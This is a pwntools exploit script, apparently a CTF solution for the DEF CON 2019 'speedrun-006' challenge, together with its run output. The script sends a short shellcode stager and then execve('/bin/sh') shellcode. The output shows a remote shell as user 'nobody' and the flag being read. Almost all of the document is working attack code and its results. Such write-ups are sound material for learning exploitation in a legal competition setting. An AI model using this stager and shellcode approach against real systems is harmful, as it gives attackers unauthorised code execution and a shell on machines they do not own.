```from pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './speedrun-006'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "speedrun-006.quals2019.oooverflow.io"  PORT = 31337  s = remote(HOST, PORT)else:  s = process(BINARY)
st1 = asm("""  syscall         # for rcx = rip  mov dl, 0x20  """)
st2 = asm("""  add cl, 0x20  """) st3 = asm("""  mov rsi, rcx  syscall  jmp rsi  """)
s.recvuntil("Send me your ride")
# shellcode stager# \xb3\xcc is "mov bl 0xcc" to avoid int3buf  = st1 + '\xb3' + st2 + '\xb3' + st3  buf += "A" * (25-len(buf))s.sendline(buf)
sleep(0.1)
# shellcodesc = asm("""   mov al, 0x3b   mov rdi, rsi   add rdi, 0x11   xor rsi, rsi   xor rdx, rdx   syscall""")sc += "/bin/sh\x00"s.sendline(sc)
s.interactive()```
```$ python exploit.py r[+] Opening connection to speedrun-006.quals2019.oooverflow.io on port 31337: Done[*] Switching to interactive mode
$ iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)$ cat flagOOO{Uh, guys I__Think We Need A Change of___plans. They got A pwn!!! I'm sorry. Did somebody say a pwn!?!?!?}```